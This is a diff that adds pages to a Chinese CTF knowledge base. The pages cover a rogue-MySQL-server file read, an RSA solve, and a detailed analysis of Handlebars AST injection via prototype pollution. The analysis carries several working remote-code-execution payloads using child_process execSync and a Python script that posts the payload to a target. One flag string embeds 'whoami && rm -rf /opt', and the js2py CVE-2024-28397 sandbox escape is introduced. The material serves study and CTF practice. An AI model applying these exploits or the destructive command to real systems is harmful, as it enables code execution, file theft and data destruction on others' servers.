--2025-04-18 10:51:46-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/274864626/d3436ccd-2e10-4cb9-9a1a-660b39e130fa?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250418%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250418T025134Z&X-Amz-Expires=300&X-Amz-Signature=c0afaa517ca3841b0be1836cd468aeda032264abc6b60ef0c77d072bb52f9619&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drogue_mysql_server-v1.0.1-linux-amd64.zip&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3396655 (3.2M) [application/octet-stream]
Saving to: ‘rogue_mysql_server-v1.0.1-linux-amd64.zip.1’

rogue_mysql_server-v1.0.1-linux-amd64.zip 100%[====================================================================================>] 3.24M 8.89MB/s in 0.4s

2025-04-18 10:51:48 (8.89 MB/s) - ‘rogue_mysql_server-v1.0.1-linux-amd64.zip.1’ saved [3396655/3396655]

Archive: rogue_mysql_server-v1.0.1-linux-amd64.zip
inflating: README.md
inflating: config.yaml
inflating: rogue_mysql_server
+

修改 config.yaml 中需要读取的文件 为 /readflag 并启动

+
➜  /tmp vim config.yaml
➜ /tmp ./rogue_mysql_server
INFO[2025-04-18 10:53:19] Server started at [0.0.0.0:3306]
+

使用以下命令触发文件读取,注意数据库IP为公网地址的IP

+
➜  ~ curl 'http://127.0.0.1:2002/install.php?m=Install&a=step3&c=Install&' \
-H 'Cookie: foo_db_config=mysql://root:root@83.229.121.36:3306/test?1001=1;'

+

发送后,服务端就会得到对应的flag文件

+
➜  /tmp ./rogue_mysql_server
INFO[2025-04-18 10:59:34] Server started at [0.0.0.0:3306]
INFO[2025-04-18 10:59:37] New client from addr [171.219.210.82:17709] logged in with username [root], database [test], ID [1]
INFO[2025-04-18 10:59:37] Client from addr [171.219.210.82:17709], ID [1] try to query [SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"]
INFO[2025-04-18 10:59:37] Now try to read file [/readflag] from addr [171.219.210.82:17709], ID [1]
INFO[2025-04-18 10:59:37] Read success, stored at [./loot/171.219.210.82/1744945177597_readflag]
INFO[2025-04-18 10:59:38] Client leaved, Addr [171.219.210.82:17709], ID [1]
^C
➜ /tmp cat ./loot/171.219.210.82/1744945177597_readflag
ctf{123456789}
➜ /tmp
+

NumberTheory​

+

思路​

+

费马定理

+

wp​

+
```
from Crypto.Util.number import *
import gmpy2


e = 65537
n = 105531804094410236294687082475828411218788143973352026416392542762437103918840861241726193253936370648195682452618343195471719649394086997793137653518966739212122830015579955183805636213883066694989610003565432493653164047938048521354525623612253955387430773546124647105772639376194421783783651686606080214099
c = 6838127295540107402282470465780599628759317234806902778570348919850980664834107227012249617036087381075344016550381137159643512672239826438903241091658619314078921936719784123522758604349399440232971511649918093228288847534685526358191804172060250409498531941883162873696671060909325234109062997554795436940
h = 225457129615945961139095949356083106510992163176770860368085043522677811094793442173512565115313130227614423196268240217775831118417780318014842280209747426271227826513967791945116378179885000662888744992914390207196310600996050316737090999399962338133222370745589250853315876818226312453376340282748842779666176953455553054310328901299083159029050169950812885486884682347263045764918907196922313892044095742248895091717187372068779768743879411865275203496650858608

#hint + 233 * k == 233 * k * p
# hint / 233*k + 1 == p
# hint / 233*k == p-1
# hint /233 = k*(p-1) = k*phi(p)
# 费马小定理
# a^ k*phi(p) == 1 modp
# a^(hint /233) == 1 modp
# a^(hint /233) -1 == 0 modp
# n == 0 modp

a =2

p = gmpy2.gcd(n, pow(a, (h //233), n)-1)
print(p)
q = n//p

phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
print(long_to_bytes(pow(c, d, n)))
```

+

USB​

+

思路​

+

提取usb输入

+

wp​

+
flag{158f26cca09e89b08cbd234c1f9c98c0}
+

image-20250417152848408

+
flag{whoami && rm -rf /opt}
+

Reference​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/CTF/奇技淫巧/FILTERS的任意格式输出/index.html b/docs/个人知识库/CTF/奇技淫巧/FILTERS的任意格式输出/index.html new file mode 100644 index 0000000..89a6456 --- /dev/null +++ b/docs/个人知识库/CTF/奇技淫巧/FILTERS的任意格式输出/index.html @@ -0,0 +1,20 @@ + + + + + +FILTERS的任意格式输出 | wjlin0 + + + + + + + +

FILTERS的任意格式输出

作者修订时间
wjlin02024-06-11 11:03:33
+

前沿​

+

在知识星球里看到这么一个提问

+
<?php
$content = file_get_contents($_POST['url']);
$json=$json_decode($content,1);
$data=$json['data'];
echo json_encode($data);
+

这里是任意文件读写,但是被json格式包裹了,在评论区找到答案利用 filters 构造前后缀进行任意文件读写

+ + \ No newline at end of file diff --git a/docs/个人知识库/CTF/奇技淫巧/Handlebars-AST注入/index.html b/docs/个人知识库/CTF/奇技淫巧/Handlebars-AST注入/index.html new file mode 100644 index 0000000..55f06c2 --- /dev/null +++ b/docs/个人知识库/CTF/奇技淫巧/Handlebars-AST注入/index.html @@ -0,0 +1,117 @@ + + + + + +Handlebars-AST注入 | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-10-14 20:53:34
+

Handlebars AST注入 配合原型链污染

+
+

详细分析Handlebars AST注入

+
+

原理图​

+

image-20210925022250921

+

handlebars的parser在解析NumberLiteral类型的字符串时会使用Number()函数进行强制转换,正常情况下这个字符串只能数字,但是用过原型链污染我们可以构造一个非数字型的字符串

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\parser.js

case 35:
this.$ = { type: 'StringLiteral', value: $$[$0], original: $$[$0], loc: yy.locInfo(this._$) };
break;
case 36:
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
break;
+

在将AST编译为函数时,handlebars用pushString将字符串传到opcode中,用pushLiteral将数字和布尔值传入到opcode中,而这个opcode就是之后用来构造模板函数的,Literal类型在AST中表示变量的意思,具体可以参考Esprima语法树标准,所以我们下面我们能够利用的类型有NumberLiteral和BooleanLiteral

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

StringLiteral: function StringLiteral(string) {
this.opcode('pushString', string.value); // 字符串使用pushString
},

NumberLiteral: function NumberLiteral(number) {
this.opcode('pushLiteral', number.value); // 数字使用pushLiteral
},

BooleanLiteral: function BooleanLiteral(bool) {
this.opcode('pushLiteral', bool.value); // 布尔值使用pushLiteral
},

UndefinedLiteral: function UndefinedLiteral() {
this.opcode('pushLiteral', 'undefined');
},

opcode: function opcode(name) {
this.opcodes.push({
opcode: name,
args: slice.call(arguments, 1),
loc: this.sourceNode[0].loc
});
},
+

那么我们如何调用这些函数呢,handlebars在编译语法树时会调用一个叫accept的函数来处理我们的语法树节点,他会调用node.type对应的构造函数来修改opcode,所以我们的重点也可以转换成如何控制accept(node)中node值,且保证解析流程正常进行

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}

this.sourceNode.unshift(node);
var ret = this[node.type](node); // 调用node.type对应的构造函数
this.sourceNode.shift();
return ret;
},
+

Payload​

+
+

原文作者采用的payload

+
+
Copy successfullyconst Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"loc": {
"start": 0
}
}];


var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

大概流程:

+
    +
  1. 将type修改为Program绕过Lexer解析
  2. +
  3. 污染Program中的body,注入自定义的AST
  4. +
  5. 在compiler.js文件中找到可用Gadget,此Gadget能够控制accept(node)中node值,原文作者利用的是MustacheStatement
  6. +
+

漏洞分析​

+

调用栈​

+
compiler.js/ret()
compiler.js/compileInput()
base.js/parse()
base.js/parseWithoutProcessing()
visitor.js/accept()
compiler.js/compile()
compiler.js/accept()
compiler.js/Program()
compiler.js/MustacheStatement()
compiler.js/NumberLiteral() <-- 注入payload
javascript-compiler.js/compile()
javascript-compiler.js/createFunctionContext <-- 生成模板函数体
handlebars.runtime.js/create()
runtime.js/ret()
runtime.js/executeDecorators()
anonymous/templateSpec.main()
+

解析入口​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function ret(context, execOptions) {
if (!compiled) {
compiled = compileInput(); // 编译输入
}
return compiled.call(this, context, execOptions);
}
+

解析AST​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options), // 获取语法树
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec);
}
+

语法树解析

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js

function parse(input, options) {
var ast = parseWithoutProcessing(input, options); // 转化为AST
var strip = new _whitespaceControl2['default'](options);

return strip.accept(ast); // 解析AST
}
+

这里的重点是将input.type污染为Program,从而绕过AST的转换阶段

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js

function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') { // 如果已经是转换好的AST就直接返回
return input;
}

_parser2['default'].yy = yy;

// Altering the shared object here, but this is ok as parser is a sync operation
yy.locInfo = function (locInfo) {
return new yy.SourceLocation(options && options.srcName, locInfo);
};

var ast = _parser2['default'].parse(input); // 否则就调用Lexer解析节点生成AST

return ast;
}
+

这里是递归解析语法树

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\visitor.js

accept: function accept(object) {
if (!object) {
return;
}

/* istanbul ignore next: Sanity code */
if (!this[object.type]) {
throw new _exception2['default']('Unknown type: ' + object.type, object);
}

if (this.current) {
this.parents.unshift(this.current);
}
this.current = object;

var ret = this[object.type](object); // 调用对应的构造函数解析AST

this.current = this.parents.shift();

if (!this.mutating || ret) {
return ret;
} else if (ret !== false) {
return object;
}
},
+

编译环境变量​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options), // 编译环境变量
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec);
}
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

compile: function compile(program, options) {
this.sourceNode = [];
this.opcodes = [];
this.children = [];
this.options = options;
this.stringParams = options.stringParams;
this.trackIds = options.trackIds;

options.blockParams = options.blockParams || [];

options.knownHelpers = _utils.extend(Object.create(null), {
helperMissing: true,
blockHelperMissing: true,
each: true,
'if': true,
unless: true,
'with': true,
log: true,
lookup: true
}, options.knownHelpers);

return this.accept(program); // 传入accept函数进行处理
},

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}

this.sourceNode.unshift(node);
var ret = this[node.type](node); // 提取AST对应的type并调用该构造函数
this.sourceNode.shift();
return ret;
},
+

第一次node.type被污染为program

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

Program: function Program(program) { // 利用Program类来自定义类
this.options.blockParams.unshift(program.blockParams);

var body = program.body, // 通过污染body插入我们的恶意代码
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]); // 提取我们的body继续调用accept进行解析
}

this.options.blockParams.shift();

this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;

return this;
},
+

第二次node.type为自定义的MustacheStatement

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

MustacheStatement: function MustacheStatement(mustache) {
this.SubExpression(mustache); // 1

if (mustache.escaped && !this.options.noEscape) {
this.opcode('appendEscaped');
} else {
this.opcode('append'); // 如果没有设置escaped的话就进行append操作
}
},

SubExpression: function SubExpression(sexpr) {
transformLiteralToPath(sexpr);
var type = this.classifySexpr(sexpr);

if (type === 'simple') {
this.simpleSexpr(sexpr);
} else if (type === 'helper') {
this.helperSexpr(sexpr); // 2
} else {
this.ambiguousSexpr(sexpr);
}
},

helperSexpr: function helperSexpr(sexpr, program, inverse) {
var params = this.setupFullMustacheParams(sexpr, program, inverse), // 3
path = sexpr.path,
name = path.parts[0];

if (this.options.knownHelpers[name]) {
this.opcode('invokeKnownHelper', params.length, name);
} else if (this.options.knownHelpersOnly) {
throw new _exception2['default']('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr);
} else {
path.strict = true;
path.falsy = true;

this.accept(path);
this.opcode('invokeHelper', params.length, path.original, _ast2['default'].helpers.simpleId(path));
}
},

setupFullMustacheParams: function setupFullMustacheParams(sexpr, program, inverse, omitEmpty) {
var params = sexpr.params;
this.pushParams(params); // 4

this.opcode('pushProgram', program);
this.opcode('pushProgram', inverse);

if (sexpr.hash) {
this.accept(sexpr.hash);
} else {
this.opcode('emptyHash', omitEmpty);
}

return params;
},

pushParams: function pushParams(params) {
for (var i = 0, l = params.length; i < l; i++) {
this.pushParam(params[i]); // 5
}
},

pushParam: function pushParam(val) {
var value = val.value != null ? val.value : val.original || '';

if (this.stringParams) {
if (value.replace) {
value = value.replace(/^(\.?\.\/)*/g, '').replace(/\//g, '.');
}

if (val.depth) {
this.addDepth(val.depth);
}
this.opcode('getContext', val.depth || 0);
this.opcode('pushStringParam', value, val.type);

if (val.type === 'SubExpression') {
// SubExpressions get evaluated and passed in
// in string params mode.
this.accept(val);
}
} else {
if (this.trackIds) {
var blockParamIndex = undefined;
if (val.parts && !_ast2['default'].helpers.scopedId(val) && !val.depth) {
blockParamIndex = this.blockParamIndex(val.parts[0]);
}
if (blockParamIndex) {
var blockParamChild = val.parts.slice(1).join('.');
this.opcode('pushId', 'BlockParam', blockParamIndex, blockParamChild);
} else {
value = val.original || value;
if (value.replace) {
value = value.replace(/^this(?:\.|$)/, '').replace(/^\.\//, '').replace(/^\.$/, '');
}

this.opcode('pushId', val.type, value);
}
}
this.accept(val); // 6 很巧妙地将我们的payload再次传入accept函数
}
},
+

第三次node.type为NumberLiteral

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

StringLiteral: function StringLiteral(string) {
this.opcode('pushString', string.value);
},

NumberLiteral: function NumberLiteral(number) {
this.opcode('pushLiteral', number.value); // 将我们的payload识别为Literal而直接转进构造函数
},

BooleanLiteral: function BooleanLiteral(bool) {
this.opcode('pushLiteral', bool.value);
},

UndefinedLiteral: function UndefinedLiteral() {
this.opcode('pushLiteral', 'undefined');
},
+

后面还有一系列对opcode的操作,均为MustacheStatement语法树的编译过程,下图是编译好MustacheStatement语法树之后opcodes的全部操作,而我们的payload就被注入了第一个

+

image-20210925113821867

+

编译模板​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); // 将我们的环境变量传进去来编译templateSpec
return env.template(templateSpec);
}
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

compile: function compile(environment, options, context, asObject) {
this.environment = environment;
this.options = options;
this.stringParams = this.options.stringParams;
this.trackIds = this.options.trackIds;
this.precompile = !asObject;

this.name = this.environment.name;
this.isChild = !!context;
this.context = context || {
decorators: [],
programs: [],
environments: []
};

this.preamble();

this.stackSlot = 0;
this.stackVars = [];
this.aliases = {};
this.registers = { list: [] };
this.hashes = [];
this.compileStack = [];
this.inlineStack = [];
this.blockParams = [];

this.compileChildren(environment, options);

this.useDepths = this.useDepths || environment.useDepths || environment.useDecorators || this.options.compat;
this.useBlockParams = this.useBlockParams || environment.useBlockParams;

var opcodes = environment.opcodes,
opcode = undefined,
firstLoc = undefined,
i = undefined,
l = undefined;

for (i = 0, l = opcodes.length; i < l; i++) {
opcode = opcodes[i];

this.source.currentLocation = opcode.loc;
firstLoc = firstLoc || opcode.loc;
this[opcode.opcode].apply(this, opcode.args); // 这里就是使用我们opcode的操作,然后会把结果存到this.source.SourceNode中
}

// Flush any trailing content that might be pending.
this.source.currentLocation = firstLoc;
this.pushSource('');

/* istanbul ignore next */
if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
throw new _exception2['default']('Compile completed with content left on stack');
}

if (!this.decorators.isEmpty()) {
this.useDecorators = true;

this.decorators.prepend(['var decorators = container.decorators, ', this.lookupPropertyFunctionVarDeclaration(), ';\n']);
this.decorators.push('return fn;');

if (asObject) {
this.decorators = Function.apply(this, ['fn', 'props', 'container', 'depth0', 'data', 'blockParams', 'depths', this.decorators.merge()]);
} else {
this.decorators.prepend('function(fn, props, container, depth0, data, blockParams, depths) {\n');
this.decorators.push('}\n');
this.decorators = this.decorators.merge();
}
} else {
this.decorators = undefined;
}

var fn = this.createFunctionContext(asObject); // 创建模板的函数体
if (!this.isChild) {
var ret = {
compiler: this.compilerInfo(),
main: fn
};

if (this.decorators) {
ret.main_d = this.decorators; // eslint-disable-line camelcase
ret.useDecorators = true;
}

var _context = this.context;
var programs = _context.programs;
var decorators = _context.decorators;

for (i = 0, l = programs.length; i < l; i++) {
if (programs[i]) {
ret[i] = programs[i];
if (decorators[i]) {
ret[i + '_d'] = decorators[i];
ret.useDecorators = true;
}
}
}

if (this.environment.usePartial) {
ret.usePartial = true;
}
if (this.options.data) {
ret.useData = true;
}
if (this.useDepths) {
ret.useDepths = true;
}
if (this.useBlockParams) {
ret.useBlockParams = true;
}
if (this.options.compat) {
ret.compat = true;
}

if (!asObject) {
ret.compiler = JSON.stringify(ret.compiler);

this.source.currentLocation = { start: { line: 1, column: 0 } };
ret = this.objectLiteral(ret);

if (options.srcName) {
ret = ret.toStringWithSourceMap({ file: options.destName });
ret.map = ret.map && ret.map.toString();
} else {
ret = ret.toString();
}
} else {
ret.compilerOptions = this.options;
}

return ret;
} else {
return fn;
}
},
+

执行opcode中pushLiteral的具体实现流程

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js


// [pushLiteral]
//
// On stack, before: ...
// On stack, after: value, ...
//
// Pushes a value onto the stack. This operation prevents
// the compiler from creating a temporary variable to hold
// it.
pushLiteral: function pushLiteral(value) { // 注释也已经很清楚了
this.pushStackLiteral(value);
},

pushStackLiteral: function pushStackLiteral(item) {
this.push(new Literal(item));
},

function Literal(value) {
this.value = value;
}

push: function push(expr) {
if (!(expr instanceof Literal)) {
expr = this.source.wrap(expr);
}

this.inlineStack.push(expr);
return expr;
},
+

在执行最后的append操作的时候会将inlineStack中的内容pop出来加入到Source中

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

append: function append() {
if (this.isInline()) {
this.replaceStack(function (current) {
return [' != null ? ', current, ' : ""'];
});

this.pushSource(this.appendToBuffer(this.popStack()));
} else {
var local = this.popStack();
this.pushSource(['if (', local, ' != null) { ', this.appendToBuffer(local, undefined, true), ' }']);
if (this.environment.isSimple) {
this.pushSource(['else { ', this.appendToBuffer("''", undefined, true), ' }']);
}
}
},
+

这里是创建函数体上下文,将source中的东西转换成字符串函数

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

createFunctionContext: function createFunctionContext(asObject) {
// istanbul ignore next

var _this = this;

var varDeclarations = '';

var locals = this.stackVars.concat(this.registers.list);
if (locals.length > 0) {
varDeclarations += ', ' + locals.join(', ');
}

// Generate minimizer alias mappings
//
// When using true SourceNodes, this will update all references to the given alias
// as the source nodes are reused in situ. For the non-source node compilation mode,
// aliases will not be used, but this case is already being run on the client and
// we aren't concern about minimizing the template size.
var aliasCount = 0;
Object.keys(this.aliases).forEach(function (alias) {
var node = _this.aliases[alias];
if (node.children && node.referenceCount > 1) {
varDeclarations += ', alias' + ++aliasCount + '=' + alias;
node.children[0] = 'alias' + aliasCount;
}
});

if (this.lookupPropertyFunctionIsUsed) {
varDeclarations += ', ' + this.lookupPropertyFunctionVarDeclaration();
}

var params = ['container', 'depth0', 'helpers', 'partials', 'data'];

if (this.useBlockParams || this.useDepths) {
params.push('blockParams');
}
if (this.useDepths) {
params.push('depths');
}

// Perform a second pass over the output to merge content when possible
var source = this.mergeSource(varDeclarations); // 把原本的source和varDeclarations拼接起来

if (asObject) {
params.push(source);

return Function.apply(this, params);
} else {
return this.source.wrap(['function(', params.join(','), ') {\n ', source, '}']); // 将source封装成函数
}
},
+

生成模板​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec); // 生成模板
}
// node_modules\handlebars\dist\cjs\handlebars.runtime.js

function create() {
var hb = new base.HandlebarsEnvironment();

Utils.extend(hb, base);
hb.SafeString = _handlebarsSafeString2['default'];
hb.Exception = _handlebarsException2['default'];
hb.Utils = Utils;
hb.escapeExpression = Utils.escapeExpression;

hb.VM = runtime;
hb.template = function (spec) {
return runtime.template(spec, hb);
};

return hb;
}
+

模板函数执行​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function ret(context, execOptions) {
if (!compiled) {
compiled = compileInput();
}
return compiled.call(this, context, execOptions); // 执行函数获取返回值
}
// node_modules\handlebars\dist\cjs\handlebars\runtime.js

function ret(context) {
var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];

var data = options.data;

ret._setup(options);
if (!options.partial && templateSpec.useData) {
data = initData(context, data);
}
var depths = undefined,
blockParams = templateSpec.useBlockParams ? [] : undefined;
if (templateSpec.useDepths) {
if (options.depths) {
depths = context != options.depths[0] ? [context].concat(options.depths) : options.depths;
} else {
depths = [context];
}
}

function main(context /*, options*/) {
return '' + templateSpec.main(container, context, container.helpers, container.partials, data, blockParams, depths);
}

main = executeDecorators(templateSpec.main, main, container, options.depths || [], data, blockParams); // 对main函数进行装饰
return main(context, options); // 执行main函数
}
+

被污染的函数​

+
(function anonymous(container,depth0,helpers,partials,data
) {
var stack1, lookupProperty = container.lookupProperty || function(parent, propertyName) {
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return parent[propertyName];
}
return undefined
};

return ((stack1 = (lookupProperty(helpers,"undefined")||(depth0 && lookupProperty(depth0,"undefined"))||container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}),console.log(process.mainModule.require('child_process').execSync('calc.exe').toString()),{"name":"undefined","hash":{},"data":data,"loc":{"start":0,"end":0}})) != null ? stack1 : "");

})
+

总结​

+
    +
  1. +

    漏洞核心在于污染编译过程中的pushLiteral操作,其中可以用到NumberLiteral类型和BooleanLiteral类型

    +
  2. +
  3. +

    令type为Program绕过Lexer解析器,从compiler.js找到可用的Gadget

    +
  4. +
  5. +

    在寻找Gadget时注意保持语法树的栈平衡,不然会在编译的时候抛出如下错误,这也是为什么我们需要借助MustacheStatement类型注入我们的payload,而不能直接将NumberLiteral注入到body中

    +
    /* istanbul ignore next */
    if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
    throw new _exception2['default']('Compile completed with content left on stack');
    }
    +
  6. +
+

拓展​

+

BooleanLiteral​

+

将NumberLiteral替换为BooleanLiteral

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"params": [{
"type": "BooleanLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

PartialStatement​

+

将MustacheStatement改为PartialStatement

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "PartialStatement",
"name": "",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}]
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

PartialBlockStatement​

+

将MustacheStatement改为PartialBlockStatement

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "PartialBlockStatement",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"name": 0,
"openStrip": 0,
"closeStrip": 0,
"program": { "body": 0 },
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

BlockStatement​

+

将MustacheStatement改为BlockStatement

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "BlockStatement",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": 0,
"openStrip": 0,
"closeStrip": 0,
"program": { "body": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

Decorator​

+

触发点和上面的有所差异,这个是在装饰main函数的时候插入自定义代码

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "Decorator",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

inf Hash​

+

无限内嵌Hash类型

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"params": [{
"type": "Hash",
"pairs": [{
"value":{
"type": "Hash",
"pairs": [{
"value":{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}}]
}}]
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

例题​

+
const express = require('express');
const app = express();
const fs = require("fs")
const mergeValue = require("merge-value")
const bodyParser = require('body-parser')
const handlebars = require("handlebars");
app.use(bodyParser.json())

/*
"dependencies": {
"body-parser": "^1.19.0",
"express": "^4.17.1",
"merge-value": "^0.1.1",
"handlebars": "^4.7.7"
}
*/
app.post('/template', function (req, res) {
let defaultTemplate = {
"text": {
"title": "WriteUp"
},
"template": "{{this.title}}{{this.body}}",
"waf": {
"black1": "__proto__",
"black2": "programa"
}
}
//禁止覆盖原始的waf值
if(req.body.wafkey && req.body.wafdata) {
if (defaultTemplate["waf"][req.body.wafkey]) {
defaultTemplate["waf"]["custom" + req.body.wafkey] = req.body.wafdata[req.body.wafkey]
} else {
defaultTemplate["waf"][req.body.wafkey] = req.body.wafData[req.body.wafkey]
}
}
//取出所有的waf值
let waf = defaultTemplate["waf"]
let wafList = []
for(let wafWord in waf){
wafList.push(waf[wafWord])
}
for(let requestKey in req.body){
if(typeof req.body[requestKey] === 'string'){
for(let index in wafList){
if(req.body[requestKey].toLowerCase().endsWith(wafList[index])){
res.send("waf");
return;
}
}
}
}
let templateData = mergeValue(defaultTemplate,req.body.pathKey,req.body.data)
// console.log(templateData,defaultTemplate)
let template = handlebars.compile(templateData["template"]);
res.send(template(templateData["text"]));
});

app.get('/', function (req, res) {
res.send('see `/src`');
});


app.get('/src', function (req, res) {
var data = fs.readFileSync('index.js');
res.send(data.toString());
});

app.listen(3000, function () {
console.log('start listening on port 3000');
});

+
+

注意题目环境

+
+
{
"dependencies": {
"body-parser": "1.19.0",
"express": "4.17.1",
"handlebars": "4.7.6",
"merge-value": "1.0",
"mixin-deep": "^1.2.0",
"set-value": "^2.0.0"
}
}

+

这里可以通过 mergeValue 原型链污染,去污染 templateData["text"] 的__proto__ ,由于前面总结的很到位我这里就补充一下,这里是wp

+
import requests

payload = {
"__proto__": {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('open -a Calculator').toString())"
}],
"loc": {
"start": 0
}
}]
}
}

url = "http://192.168.3.91:3000/template"
data = {
"pathKey": "text",
"data": payload
}
print(data)
text = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})
print(text.text)

+

image-20251014205208357

+ + \ No newline at end of file diff --git a/docs/个人知识库/CTF/奇技淫巧/JS2PY意外获取根对象CVE-2024-28397/index.html b/docs/个人知识库/CTF/奇技淫巧/JS2PY意外获取根对象CVE-2024-28397/index.html new file mode 100644 index 0000000..2b94978 --- /dev/null +++ b/docs/个人知识库/CTF/奇技淫巧/JS2PY意外获取根对象CVE-2024-28397/index.html @@ -0,0 +1,61 @@ + + + + + +JS2PY意外获取根对象CVE-2024-28397 | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-06-23 01:02:22
+

JS2PY意外获取根对象CVE-2024-28397

+

0x01 环境​

+
pip install js2py <= 0.74 #latest
+

0x02 前沿​

+

无意在git上看到一个关于 CVE-2024-28397 的POC,js2py存在一个漏洞,攻击者可以使用这个漏洞在js代码中获得一个python对象的引用,使得攻击者可以逃逸js环境,在主机上执行任意命令。用户一般会调用js2py.disable_pyimport()阻止JS代码使用pyimport调用python模块,从而防止代码沙盒逃逸。但是使用这个漏洞,攻击者可以绕过这个限制,在主机上执行任意代码。

+

0x03 分析​

+

根据提供的代码,发现Object.getOwnPropertyNames({}).__class__.__base__,即可获取到一个根对象,那么这是如何得到的呢

+

我们可以写一个代码进行调试

+
import js2py
payload_2 = """console.log(Object.getOwnPropertyNames({}).__class__.__base__)"""
js2py.eval_js(payload_2)
+

